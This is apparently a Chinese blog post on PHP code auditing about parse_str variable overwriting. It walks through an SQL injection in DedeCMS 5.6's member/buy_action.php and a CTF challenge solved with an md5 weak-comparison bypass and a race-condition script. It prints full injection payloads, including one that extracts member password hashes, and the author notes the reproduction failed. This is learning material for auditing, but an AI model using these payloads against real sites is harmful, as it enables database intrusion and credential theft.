php代码审计-函数篇_Day7

php代码审计-函数篇_Day7

二月 21, 2022

parse_str函数缺陷

关于函数

parse_str — 将字符串解析成多个变量

img

parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

img

漏洞分析:DedeCMS5.6

member/buy_action.php:

img

在该文件中第17行,存在一个parse_str函数,跟进查看一下这里的代码:

首先是使用mchStrCode函数将$pd_encode参数进行解密,然后将解密后的结果存放到$mch_Post中以数组形式保存,之后的遍历语句,使用了两个$$符,在这里明显存在变量覆盖的点。

跟进函数mchStrCode查看其过程:

img

其中,key的获取是通过取$_SERVER[“HTTP_USER_AGENT”]和$GLOBALS[‘cfg_cookie_encode’]连接字符的第8-18位。其中ua我们是可以获取到的,但是cfg_cookie_encode我们没法拿到。在这里跳到文件install/index.php:

img

这里的$rnd_cookieEncode变量就是cfg_cookie_encode,但是该变量的加密过程比较复杂且数据量太大,这里看看能不能绕过去。

在member/buy_action.php文件中有一处利用mchStrCode函数加密的地方:

img

这里通过$_REQUEST接收参数,使用mchStrCode函数加密$pr_encode参数后将其=置换为空格,赋值给$pr_encode变量,而$pr_verify变量则是有cfg_cookie_encode经过md5加密后转化的值,因此我们也无法直接获取到cfg_cookie_encode,在这里发现buy_action_payment.html页面,点进可以看到页面会返回$pr_encode和$pr_verify变量的值:

member/templets/buy_action_payment.htm:

img

而$pr_encode也是我们可控的值。

因此我们可以利用这个分支语句,传入所需变量值以及构造的SQL语句值,得到mchStrCode函数加密的值,在页面源码中拿到$pr_encode和$pr_verify变量的值,然后进入到一开始的分支判断中,利用parse_str函数会注册变量的特性,导致变量覆盖,然后将数据带入到SQL语句中。

那么SQL语句的构造点是在哪里呢?

img

在这个地方有一个#@__,通过追踪变量得到定义:

img

因此我们可以通过$cfg_dbprefix进行构造SQL语句带入到SQL查询语句中,产生SQL注入。而这里利用的点就是一开始经过parse_str函数处理之后的地方:

img

因此我们可以利用$cfg_dbprefix传入恶意构造SQL语句经过函数加密后获取$pr_encode和$pr_verify变量的值,然后再经过函数解密,经过parse_str函数注册变量导致的变量覆盖,将参数的值传入到SQL语句中,造成SQL注入。

1
2
3
payload:

/buy_action.php?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede6_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23

首先传入product和pid是为了先进入分支获取$pr_encode和$pr_verify变量的值,而传入$a是为了构造%26。

这里是因为include/common.inc.php 文件对用户提交的内容进行了过滤:

img

凡是$REQUEST提交的参数,变量中以cfg_和GLOBALS开头的参数都会被过滤掉。

这个问题的解决就利用到了 $REQUEST 内容与 parse_str 函数内容的差异特性。

当我们url传入[a=1&b=2%26c=3]时, 通过$REQUEST 传入解析得到的内容就是 [a=1,b=2%26c=3] 。

而 parse_str 函数会针对传入进来的数据进行解码,所以当我们传入[a=1&b=2%26c=3]时,解析后的内容就变成了[a=1,b=2,c=3]。

因此我们使用这个特性传入变量a构造$REQUEST不会解析的%26用来连接cfg_dbprefix从而绕过了上述的过滤,然后再将其传入parse_str 函数时,能解析到%26,变成a=1&cfg_dbprefix。

获取到$pr_encode和$pr_verify的值:

img

1
2
3
payload:

/buy_action.php?pd_encode=SBQJABRXRw4FAEIBFEdaB1xXHgdbVUdXVVQ5BVIVQFJVChlbXAMCAT5ZVl4EBEI6XUdWEQASUQkIRDZ8dmEjQQFYchAcQlBUC1JTEQ9dXF1JQUMAXlJQF0FXFFRKV00AHwZKVxxSHg8fWk1XCEYgNi55Exs1JHwgcWMTIC4zdjJOTU13fH0lIGRNEh9gJi0jezJGFBZQE3U0Ln1FVlJXBlc5VQMLBgRGE38vLHkxEgcfUkhKfiopKzMcYXIoJRhVGwUaShlGfjQpKUF9fXUpM30kZn58LT41ey4jKSAacHsnM3EmZnJhPDIjbDVGIzN7ZmNGI2lFSh5SQ0I&pd_verify=4b22fd44b746fe3af76a25a0cf57eb88

但是自己的复现没有成功,我也不知道是哪里出了问题,啊不写啦。

参考文章

https://blog.csdn.net/m0_37711941/article/details/89193169

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day7/files/README.md

ctf题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>


//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

当if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) 这个判断语句成立的时候就会出现链接跳转,利用MD5碰撞,找一个md5之后值也是0e开头的即可,在弱比较类型中会将0e开头的值看成0,因此得以满足条件。这里传入$a[0],因为id值的传入经过函数parse_str(),该函数会注册变量,我使用的是%26绕过:

img

点击链接跳转页面:

img

img

文件会对referer头进行验证,直接访问文件的话会提示错误:

img

需要自行创建一个uploads文件夹,在代码中,当传入fllename和content时,会在uploads下生成一个文件夹,下面存放$filename为文件名的文件,内容却为Too slow!

这里注意到有函数usleep():

usleep — 以指定的微秒数延迟执行

img

因此想要输出flag就需要利用到条件竞争,在100000微妙执行后输出Too slow之前访问到指定文件输出flag。

img

img

使用burp抓包修改高线程:

img

使用200线程:

img

在执行start attack之前需要执行以下脚本一直访问uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag,

利用条件竞争获取flag:

1
2
3
4
5
6
import requests as r
r1 = r.Session()
while (1):
r2 = r1.get("http://127.0.0.1/b.com/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag")
print(r2.text)
pass

img

文章参考

https://blog.csdn.net/zhangpen130/article/details/103965191